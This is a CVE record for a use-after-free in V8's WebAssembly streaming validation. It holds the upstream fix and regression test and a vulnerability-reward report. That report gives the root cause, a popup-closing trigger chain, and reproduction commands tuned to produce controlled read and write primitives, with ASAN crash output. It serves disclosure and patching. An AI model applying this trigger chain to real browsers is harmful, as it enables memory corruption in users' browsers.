CVE-2026-17658
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
compilation_unit_builder_src/wasm/module-compiler.cc |
modified | |
ifsrc/wasm/module-compiler.cc |
modified | |
EmptyResolvertest/unittests/wasm/streaming-decoder-unittest.cc |
modified | |
TEST_Ftest/unittests/wasm/streaming-decoder-unittest.cc |
modified |
Files Changed
src/wasm/module-compiler.cctest/unittests/wasm/streaming-decoder-unittest.cc
Patch
From 2ef100a053c5e7368f97c0952153350045bb44fc Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <jkummerow@chromium.org>
Date: Mon, 22 Jun 2026 10:59:08 +0200
Subject: [PATCH] [wasm-streaming] Terminate any pending validation job...
...when receiving a ContextDisposedNotification.
Bug: 523030583
Change-Id: Iee732c5e62ca63f473548209f285049126a87a65
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7967983
Commit-Queue: Jakob Kummerow <jkummerow@chromium.org>
Auto-Submit: Jakob Kummerow <jkummerow@chromium.org>
Reviewed-by: Clemens Backes <clemensb@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108145}
---
diff --git a/src/wasm/module-compiler.cc b/src/wasm/module-compiler.cc
index 255bfe6..8cda414 100644
--- a/src/wasm/module-compiler.cc
+++ b/src/wasm/module-compiler.cc
@@ -3016,9 +3016,12 @@
compilation_unit_builder_(nullptr) {}
AsyncStreamingProcessor::~AsyncStreamingProcessor() {
- // We expect {OnAbort()} or {OnFinishedStream()} to be called before the
- // destructor runs. Both invalidate the {validate_functions_job_handle_}.
- CHECK_NULL(validate_functions_job_handle_);
+ // When we receive a ContextDisposedNotification before the stream ends,
+ // we might still have a running validation job. Terminate that before
+ // freeing {validate_functions_job_data_}.
+ if (validate_functions_job_handle_) {
+ validate_functions_job_handle_->Cancel();
+ }
if (owns_cache_entry_) {
GetWasmEngine()->StreamingCompilationFailed(
diff --git a/test/unittests/wasm/streaming-decoder-unittest.cc b/test/unittests/wasm/streaming-decoder-unittest.cc
index 26494f8..8177a1a 100644
--- a/test/unittests/wasm/streaming-decoder-unittest.cc
+++ b/test/unittests/wasm/streaming-decoder-unittest.cc
@@ -2,16 +2,13 @@
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
-#include "test/unittests/test-utils.h"
-
-#include "src/objects/objects-inl.h"
-
-#include "src/wasm/module-decoder.h"
#include "src/wasm/streaming-decoder.h"
-#include "src/objects/descriptor-array.h"
-#include "src/objects/dictionary.h"
+#include "src/wasm/module-decoder.h"
+#include "src/wasm/wasm-engine.h"
+#include "test/common/flag-utils.h"
#include "test/common/wasm/wasm-macro-gen.h"
+#include "test/unittests/test-utils.h"
namespace v8 {
namespace internal {
@@ -661,6 +658,44 @@
ExpectFailure(base::ArrayVector(data));
}
+class EmptyResolver : public CompilationResultResolver {
+ public:
+ void OnCompilationSucceeded(DirectHandle<WasmModuleObject> module) override {}
+ void OnCompilationFailed(DirectHandle<JSAny> error_reason) override {}
+};
+
+using WasmStreamingCompilationTest = TestWithNativeContext;
+
+TEST_F(WasmStreamingCompilationTest, ContextDisposeDuringValidation) {
+ FlagScope<bool> async_compilation(&v8_flags.wasm_async_compilation, true);
+ FlagScope<bool> lazy_compilation(&v8_flags.wasm_lazy_compilation, true);
+
+ std::shared_ptr<EmptyResolver> resolver = std::make_shared<EmptyResolver>();
+ WasmEnabledFeatures features = WasmEnabledFeatures::FromIsolate(isolate());
+
+ std::shared_ptr<StreamingDecoder> stream =
+ GetWasmEngine()->StartStreamingCompilation(
+ features, CompileTimeImports{}, "WebAssembly.compileStreaming()",
+ resolver);
+ stream->InitializeIsolateSpecificInfo(isolate());
+
+ const uint8_t data[] = {
+ 0x00, 0x61, 0x73, 0x6d, // wasm magic
+ 0x01, 0x00, 0x00, 0x00, // wasm version
+ 0x01, 0x04, // Type section, length: 4
+ 0x01, 0x60, 0x00, 0x00, // One type, signature, no params, no results
+ 0x03, 0x02, // Function section, length: 2
+ 0x01, 0x00, // One function, type $sig0
+ 0x0a, 0x04, // Code section, length: 4
+ 0x01, 0x02, 0x00, 0x0b, // One function, length: 2, unreachable, end
+ };
+
+ stream->OnBytesReceived(base::VectorOf(data));
+
+ // Dispose context. This triggered crbug.com/523030583 before the fix.
+ v8_isolate()->ContextDisposedNotification(ContextDependants::kNoDependants);
+}
+
} // namespace wasm
} // namespace internal
} // namespace v8
Regression Test / PoC
diff --git a/test/unittests/wasm/streaming-decoder-unittest.cc b/test/unittests/wasm/streaming-decoder-unittest.cc
index 26494f8..8177a1a 100644
--- a/test/unittests/wasm/streaming-decoder-unittest.cc
+++ b/test/unittests/wasm/streaming-decoder-unittest.cc
@@ -2,16 +2,13 @@
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
-#include "test/unittests/test-utils.h"
-
-#include "src/objects/objects-inl.h"
-
-#include "src/wasm/module-decoder.h"
#include "src/wasm/streaming-decoder.h"
-#include "src/objects/descriptor-array.h"
-#include "src/objects/dictionary.h"
+#include "src/wasm/module-decoder.h"
+#include "src/wasm/wasm-engine.h"
+#include "test/common/flag-utils.h"
#include "test/common/wasm/wasm-macro-gen.h"
+#include "test/unittests/test-utils.h"
namespace v8 {
namespace internal {
@@ -661,6 +658,44 @@
ExpectFailure(base::ArrayVector(data));
}
+class EmptyResolver : public CompilationResultResolver {
+ public:
+ void OnCompilationSucceeded(DirectHandle<WasmModuleObject> module) override {}
+ void OnCompilationFailed(DirectHandle<JSAny> error_reason) override {}
+};
+
+using WasmStreamingCompilationTest = TestWithNativeContext;
+
+TEST_F(WasmStreamingCompilationTest, ContextDisposeDuringValidation) {
+ FlagScope<bool> async_compilation(&v8_flags.wasm_async_compilation, true);
+ FlagScope<bool> lazy_compilation(&v8_flags.wasm_lazy_compilation, true);
+
+ std::shared_ptr<EmptyResolver> resolver = std::make_shared<EmptyResolver>();
+ WasmEnabledFeatures features = WasmEnabledFeatures::FromIsolate(isolate());
+
+ std::shared_ptr<StreamingDecoder> stream =
+ GetWasmEngine()->StartStreamingCompilation(
+ features, CompileTimeImports{}, "WebAssembly.compileStreaming()",
+ resolver);
+ stream->InitializeIsolateSpecificInfo(isolate());
+
+ const uint8_t data[] = {
+ 0x00, 0x61, 0x73, 0x6d, // wasm magic
+ 0x01, 0x00, 0x00, 0x00, // wasm version
+ 0x01, 0x04, // Type section, length: 4
+ 0x01, 0x60, 0x00, 0x00, // One type, signature, no params, no results
+ 0x03, 0x02, // Function section, length: 2
+ 0x01, 0x00, // One function, type $sig0
+ 0x0a, 0x04, // Code section, length: 4
+ 0x01, 0x02, 0x00, 0x0b, // One function, length: 2, unreachable, end
+ };
+
+ stream->OnBytesReceived(base::VectorOf(data));
+
+ // Dispose context. This triggered crbug.com/523030583 before the fix.
+ v8_isolate()->ContextDisposedNotification(ContextDependants::kNoDependants);
+}
+
} // namespace wasm
} // namespace internal
} // namespace v8
Original Bug Report
V8 WebAssembly streaming-validation use-after-free (renderer)
V8 WebAssembly streaming-validation use-after-free (renderer)
Report fields
- Program: Chrome Vulnerability Reward Program
- Product / component: Chrome renderer — V8 WebAssembly streaming compilation and Wasm GC validation
- Vulnerability type: Use-after-free (renderer memory corruption)
- Affected version: Chromium 149.0.7827.102 (stable), x64
- Demonstrated primitives: controlled read, controlled write, and full arbitrary read/write from web content (see Memory-corruption primitives below).
Summary
A web page can free WebAssembly streaming-validation state while a validation worker
thread is still using it. The page starts WebAssembly.compileStreaming() in a same-origin
top-level popup, keeps validation busy with an attacker-controlled ReadableStream, then
closes the popup. Closing a top-level page tears down the async compile job and its
streaming processor, but the validation worker keeps running and dereferences the
now-freed validation and module state.
The proof escalates that dangling access into a controlled type confusion and demonstrates,
on the ASAN build, a graduated set of memory-corruption primitives reachable from a web
page: a controlled read from an attacker-chosen address, a controlled write of an
attacker-chosen value to an attacker-chosen address, and a full arbitrary read/write of a
victim TypedArray whose corrupted length is visible from JavaScript.
This report is scoped to a renderer-side memory-corruption primitive reachable from web content. It does not claim a sandbox escape or browser-process compromise.
Root cause
Blink uses different V8 disposal semantics for top-level frames and dependent subframes:
// third_party/blink/renderer/core/frame/local_window_proxy.cc
// LocalWindowProxy::DisposeContext(...)
isolate->ContextDisposedNotification(!is_main_frame);
For a top-level popup, is_main_frame is true, so V8 receives dependant_context == false.
That path deletes the active Wasm compile job:
// v8/src/api/api.cc — v8::Isolate::ContextDisposedNotification(bool dependant_context)
if (!dependant_context) {
if (!i_isolate->context().is_null()) {
wasm::GetWasmEngine()->DeleteCompileJobsOnContext(
i_isolate->native_context());
}
}
Destroying the async compile job tells the streaming decoder that compilation was discarded:
// v8/src/wasm/module-compiler.cc — AsyncCompileJob::~AsyncCompileJob()
if (stream_) stream_->NotifyCompilationDiscarded();
The lifetime that goes wrong:
AsyncStreamingProcessorownsValidateFunctionsStreamingJobData, the validation job handle, and the module/validation state the worker reads.ValidateFunctionsStreamingJob::Run()(worker thread) readsdata_->GetUnit(), callsValidateSingleFunction(module_, ...), and writesdata_->UpdateDetectedFeatures(...).
Failing invariant: a streaming Wasm validation job must not outlive the processor-owned validation data and module state its worker thread dereferences.
The safe stream-finish and abort paths cancel or join validation work before freeing
processor state. The top-level context-disposal discard path reaches processor teardown
through NotifyCompilationDiscarded() without first proving the validation worker has
stopped.
Trigger
The bug needs a top-level page lifetime transition — a same-origin iframe does not hit the same compile-job deletion path, so subframe disposal is not equivalent.
To obtain a top-level window without depending on permissive popup settings, the proof uses Payment Handler delivery:
index.htmlregisterspayment-handler-sw.jsand callsPaymentRequest.show().- The service worker opens
wasm-asan-controlled-crash-poc.htmlin a top-level window. - That page opens a same-origin
about:blankvictim popup. - The victim starts
WebAssembly.compileStreaming()over a parent-controlledResponse. - The parent closes the victim while code-section validation is still active.
- Replacement modules reclaim the freed validation state, giving the page control over it.
Reproduction
Environment
OS: Debian GNU/Linux 12 (bookworm), x86_64
Kernel: 5.15.0-176-generic
glibc: 2.36
Chrome: Chromium 149.0.7827.102, x64, AddressSanitizer build
GN config: is_asan = true, is_debug = false, target_cpu = "x64",
v8_enable_sandbox = true, dcheck_always_on = false
Stable 149.0.7827.102 is a release-branch build and is not published as an official ASAN
binary; the binary here is built from the exact 149.0.7827.102 source (chromium commit
112f665d98a2fe84b156c74fbea2aed742f16c15) with the ASAN configuration above.
Steps
cd VRP-submission/bug1-wasm-streaming-uaf/poc
EXPLOIT_SERVER_PORT=18096 python3 serve_poc.py
CHROME_ASAN=/path/to/149.0.7827.102/asan/chrome
ASAN_OPTIONS='detect_odr_violation=0:detect_leaks=0:symbolize=1:abort_on_error=1:quarantine_size_mb=0:thread_local_quarantine_size_kb=0'
FLAGS="--headless=new --no-sandbox --disable-crashpad --disable-breakpad --disable-crash-reporter --enable-logging=stderr"
BASE="http://127.0.0.1:18096/index.html?proof_id=vrp-bug1&payment_hold_ms=90000&exploit_path=%2Fwasm-asan-controlled-crash-poc.html&auto_start=1&auto_start_delay_ms=0&stream_reclaimer_rounds=18&stream_reclaimer_interval=50&victim_target_nops=5000000&replacement_pretarget_nops=5000000&stream_reclaimer_close_delay=800&clear_timers=1&close_on_finish=1&finish_delay=45000&global_finish_delay=90000"
# Controlled read (load from attacker-chosen address 0x414243444546)
rm -rf /tmp/p-r; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-r \
"$BASE&asan_crash=forged_read64&asan_crash_value=0x414243444546"
# Controlled write (store chosen value 0x5152535455565758 to chosen address 0x414243444546)
rm -rf /tmp/p-w; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-w \
"$BASE&asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758"
The exploit races a validation worker against context disposal, so it is timing-sensitive;
re-run if the RUN12x markers do not appear (the parameters above are tuned for this build).
Memory-corruption primitives
All output below is the unmodified stderr from the 149.0.7827.102 ASAN build. Full run logs
are under traces/.
The bug — validation worker reads freed state
The streaming-validation worker thread crashes while dereferencing its freed job state.
Full AddressSanitizer report (traces/plain-uaf-crash/chrome.stderr.log):
=================================================================
==3234593==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bfc6d391888 at pc 0x7f4c8e291271 bp 0x7b484c6444a0 sp 0x7b484c644498
READ of size 8 at 0x7bfc6d391888 thread T8 (ThreadPoolForeg)
#0 0x7f4c8e291270 in v8::internal::wasm::ValidateFunctionsStreamingJob::GetMaxConcurrency(unsigned long) const gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
#1 0x7f4c88cc6939 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_1 const&, v8::JobTask*>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_1, base::internal::UnretainedWrapper<v8::JobTask, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, unsigned long (unsigned long)>::Run(base::internal::BindStateBase*, unsigned long) gin/v8_platform.cc:306:30
#2 0x7f4cf1fb45af in base::RepeatingCallback<unsigned long (unsigned long)>::Run(unsigned long) const & base/functional/callback.h:346:12
#3 0x7f4cf1fb3b54 in base::internal::JobTaskSource::WillRunTask() base/task/thread_pool/job_task_source.cc:342:45
#4 0x7f4cf1fd9efc in base::internal::ThreadGroup::TakeRegisteredTaskSource(base::internal::ThreadGroup::BaseScopedCommandsExecutor*) base/task/thread_pool/thread_group.cc:272:54
#5 0x7f4cf1fe1887 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWorkLockRequired(base::internal::ThreadGroup::BaseScopedCommandsExecutor*, base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:527:27
#6 0x7f4cf1fe20b9 in base::internal::ThreadGroupImpl::WorkerDelegate::SwapProcessedTask(base::internal::RegisteredTaskSource, base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:620:24
#7 0x7f4cf1ff96e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:486:23
#8 0x7f4cf1ff87fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
#9 0x7f4cf1ff8212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
#10 0x7f4cf208c8bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#11 0x55833206bfb6 in asan_thread_start(void*) asan_interceptors.cpp
0x7bfc6d391888 is located 120 bytes after 112-byte region [0x7bfc6d3917a0,0x7bfc6d391810)
allocated by thread T0 (chrome) here:
#0 0x5583320a763d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
#1 0x7f4cf02638c3 in ipcz::RemoteRouterLink::Create(ipcz::Ref<ipcz::NodeLink>, ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, ipcz::FragmentRef<ipcz::RouterLinkState>, ipcz::LinkType, ipcz::LinkSide) third_party/ipcz/src/ipcz/remote_router_link.cc:51:19
#2 0x7f4cf0230c01 in ipcz::NodeLink::AddRemoteRouterLink(ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, ipcz::FragmentRef<ipcz::RouterLinkState>, ipcz::LinkType, ipcz::LinkSide, ipcz::Ref<ipcz::Router>) third_party/ipcz/src/ipcz/node_link.cc:122:15
#3 0x7f4cf0276ad3 in ipcz::Router::SerializeNewRouterWithLocalPeer(ipcz::NodeLink&, ipcz::RouterDescriptor&, ipcz::Ref<ipcz::Router>) third_party/ipcz/src/ipcz/router.cc:903:43
#4 0x7f4cf0276563 in ipcz::Router::SerializeNewRouter(ipcz::NodeLink&, ipcz::RouterDescriptor&) third_party/ipcz/src/ipcz/router.cc:856:7
#5 0x7f4cf02657fb in ipcz::RemoteRouterLink::AcceptParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/remote_router_link.cc:298:17
#6 0x7f4cf026c6cd in ipcz::Router::SendOutboundParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/router.cc:200:11
#7 0x7f4cf0271077 in ipcz::Router::Put(absl::Span<unsigned char const>, absl::Span<unsigned long const>) third_party/ipcz/src/ipcz/router.cc:409:29
#8 0x7f4cf01f1232 in Put third_party/ipcz/src/api.cc:173:18
#9 0x7f4cf019a662 in MojoWriteMessageIpcz mojo/core/core_ipcz.cc:197:29
#10 0x7f4cf00f8360 in MojoWriteMessage mojo/public/c/system/thunks.cc:81:10
#11 0x7f4cf0481d57 in mojo::Connector::AcceptAndGetResult(mojo::Message*) mojo/public/cpp/system/message_pipe.h:97:10
#12 0x7f4cf04819c8 in mojo::Connector::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/connector.cc:317:23
#13 0x7f4cf04998ae in mojo::InterfaceEndpointClient::SendMessage(mojo::Message*, bool) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:636:21
#14 0x7f4cf0405155 in mojo::internal::SendMojoMessage(mojo::MessageReceiver&, mojo::Message&) mojo/public/cpp/bindings/lib/send_message_helper.cc:22:26
#15 0x7f4ca07cebaa in ukm::mojom::UkmRecorderFactoryProxy::CreateUkmRecorder(mojo::PendingReceiver<ukm::mojom::UkmRecorderInterface>, mojo::PendingRemote<ukm::mojom::UkmRecorderClientInterface>) gen/services/metrics/public/mojom/ukm_interface.mojom.cc:921:3
#16 0x7f4cec2bd8d6 in ukm::MojoUkmRecorder::MojoUkmRecorder(ukm::mojom::UkmRecorderFactory&) services/metrics/public/cpp/mojo_ukm_recorder.cc:25:13
#17 0x7f4cec2bd5c1 in ukm::MojoUkmRecorder::Create(ukm::mojom::UkmRecorderFactory&) services/metrics/public/cpp/mojo_ukm_recorder.cc:20:31
#18 0x7f4c9f3b86e7 in blink::Document::UkmRecorder() (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x6c0d6e7) (BuildId: 86034637d8af1588)
#19 0x7f4c9e32b2d6 in blink::FrameLoader::CommitDocumentLoader(blink::DocumentLoader*, blink::HistoryItem*, blink::CommitReason) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b802d6) (BuildId: 86034637d8af1588)
#20 0x7f4c9e336671 in blink::FrameLoader::CommitNavigation(std::__Cr::unique_ptr<blink::WebNavigationParams, std::__Cr::default_delete<blink::WebNavigationParams>>, std::__Cr::unique_ptr<blink::WebDocumentLoader::ExtraData, std::__Cr::default_delete<blink::WebDocumentLoader::ExtraData>>, blink::CommitReason) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b8b671) (BuildId: 86034637d8af1588)
#21 0x7f4c9cc4635b in blink::WebLocalFrameImpl::CommitNavigation(std::__Cr::unique_ptr<blink::WebNavigationParams, std::__Cr::default_delete<blink::WebNavigationParams>>, std::__Cr::unique_ptr<blink::WebDocumentLoader::ExtraData, std::__Cr::default_delete<blink::WebDocumentLoader::ExtraData>>) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x449b35b) (BuildId: 86034637d8af1588)
#22 0x7f4cd5f76fab in content::RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318(std::__Cr::unique_ptr<blink::WebNavigationInfo, std::__Cr::default_delete<blink::WebNavigationInfo>>) content/renderer/render_frame_impl.cc:5772:11
#23 0x7f4cd5f744da in content::RenderFrameImpl::BeginNavigation(std::__Cr::unique_ptr<blink::WebNavigationInfo, std::__Cr::default_delete<blink::WebNavigationInfo>>) content/renderer/render_frame_impl.cc:5701:5
#24 0x7f4c9cbc3142 in blink::LocalFrameClientImpl::BeginNavigation(blink::ResourceRequest const&, blink::KURL const&, blink::mojom::RequestContextFrameType, blink::LocalDOMWindow*, blink::DocumentLoader*, blink::WebNavigationType, blink::NavigationPolicy, blink::WebFrameLoadType, blink::mojom::ForceHistoryPush, bool, bool, blink::mojom::TriggeringEventInfo, blink::HTMLFormElement*, network::mojom::CSPDisposition, mojo::PendingRemote<blink::mojom::blink::BlobURLToken>, base::TimeTicks, base::TimeTicks, blink::String const&, std::__Cr::optional<blink::Impression> const&, base::TokenType<blink::LocalFrameTokenTypeMarker> const*, blink::SourceLocation*, mojo::PendingRemote<blink::mojom::blink::NavigationStateKeepAliveHandle>, bool, bool, mojo::PendingReceiver<blink::mojom::blink::NavigationResumeDeferredCommitListener>, std::__Cr::optional<base::UnguessableToken>) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x4418142) (BuildId: 86034637d8af1588)
#25 0x7f4c9e33247c in blink::FrameLoader::StartNavigation(blink::FrameLoadRequest&, blink::WebFrameLoadType) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x5b8747c) (BuildId: 86034637d8af1588)
#26 0x7f4c9c9c9a10 in blink::LocalFrame::Navigate(blink::FrameLoadRequest&, blink::WebFrameLoadType) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x421ea10) (BuildId: 86034637d8af1588)
#27 0x7f4c9c9abcc0 in blink::LocalDOMWindow::open(v8::Isolate*, blink::String const&, blink::AtomicString const&, blink::String const&, blink::ExceptionState&) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x4200cc0) (BuildId: 86034637d8af1588)
#28 0x7f4c84776ef5 in blink::(anonymous namespace)::v8_window::OpenOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&) v8_window.cc
#29 0x7b483ac906d3 (<unknown module>)
Thread T8 (ThreadPoolForeg) created by T4 (ThreadPoolForeg) here:
#0 0x558332051e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
#1 0x7f4cf208bf7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f4cf1ff7011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
#3 0x7f4cf1fd7802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
#4 0x7f4cf1fd748e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
#5 0x7f4cf1fe1106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
#6 0x7f4cf1ff942a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
#7 0x7f4cf1ff87fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
#8 0x7f4cf1ff8212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
#9 0x7f4cf208c8bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#10 0x55833206bfb6 in asan_thread_start(void*) asan_interceptors.cpp
Thread T4 (ThreadPoolForeg) created by T0 (chrome) here:
#0 0x558332051e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
#1 0x7f4cf208bf7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x7f4cf1ff7011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
#3 0x7f4cf1fd7802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
#4 0x7f4cf1fd748e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
#5 0x7f4cf1fde7f5 in base::internal::ThreadGroupImpl::Start(unsigned long, unsigned long, base::TimeDelta, scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*, base::internal::ThreadGroup::WorkerEnvironment, bool, std::__Cr::optional<base::TimeDelta>) base/task/thread_pool/thread_group_impl.cc:71:3
#6 0x7f4cf1feb3c4 in base::internal::ThreadPoolImpl::Start(base::ThreadPoolInstance::InitParams const&, base::WorkerThreadObserver*) base/task/thread_pool/thread_pool_impl.cc:241:35
#7 0x7f4cd158354d in content::ChildProcess::ChildProcess(base::ThreadType, std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>, bool) content/child/child_process.cc:112:20
#8 0x7f4cd5fafd7a in content::RenderProcess::RenderProcess(std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>) content/renderer/render_process.cc:18:7
#9 0x7f4cd5fafe32 in content::RenderProcessImpl::RenderProcessImpl() content/renderer/render_process_impl.cc:99:7
#10 0x7f4cd5fb02ea in content::RenderProcessImpl::Create() content/renderer/render_process_impl.cc:224:31
#11 0x7f4cd5fe2ac8 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:274:53
#12 0x7f4cd64170b2 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:665:14
#13 0x7f4cd64181a8 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:772:12
#14 0x7f4cd641ac36 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1164:10
#15 0x7f4cd6415006 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
#16 0x7f4cd641536a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
#17 0x5583320a953c in ChromeMain chrome/app/chrome_main.cc:194:12
#18 0x7f4c7d107249 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10 in v8::internal::wasm::ValidateFunctionsStreamingJob::GetMaxConcurrency(unsigned long) const
Shadow bytes around the buggy address:
0x7bfc6d391600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7bfc6d391680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7bfc6d391700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7bfc6d391780: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00
0x7bfc6d391800: 00 00 fa fa fa fa fa fa f7 fa fa fa fa fa fa fa
=>0x7bfc6d391880: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
0x7bfc6d391900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
0x7bfc6d391980: fa fa fa fa f7 fa 00 00 00 00 00 00 00 00 00 00
0x7bfc6d391a00: 00 00 00 00 fa fa fa fa fa fa f7 fa fa fa fa fa
0x7bfc6d391a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7bfc6d391b00: f7 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3234593==ADDITIONAL INFO
==3234593==Note: Please include this section with the ASan report.
Task trace:
Command line: `/proc/self/exe --type=renderer --crashpad-handler-pid=3234431 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/chrome-vrp-bug1-asan-crash-profile-20260612T010104Z --change-stack-guard-on-fork=enable --no-sandbox --disable-breakpad --ozone-platform=headless --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1778031425899540 --launch-time-ticks=3194642331844 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,5110095603065809577,10759143092396146351,262144 --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,2230811171117207483,3885191951693691263,4 --trace-process-track-uuid=3190708991934122588 --enable-logging=stderr`
==3234593==END OF ADDITIONAL INFO
==3234593==ABORTING
Frame #0 on a thread-pool worker is the validation worker; the freed
ValidateFunctionsStreamingJobData was reallocated and the worker reads through the stale
pointer.
Controlled read
asan_crash=forged_read64&asan_crash_value=0x414243444546 makes V8 load 8 bytes from an
attacker-chosen address. The page logs the armed primitive, then the load faults:
RUN121_ASAN_CONTROLLED_CRASH_ARMED kind=forged_read64 index=1 byte_offset=8 value=0x414243444546 view_byteLength=64 view_length=8 buffer_byteLength=8
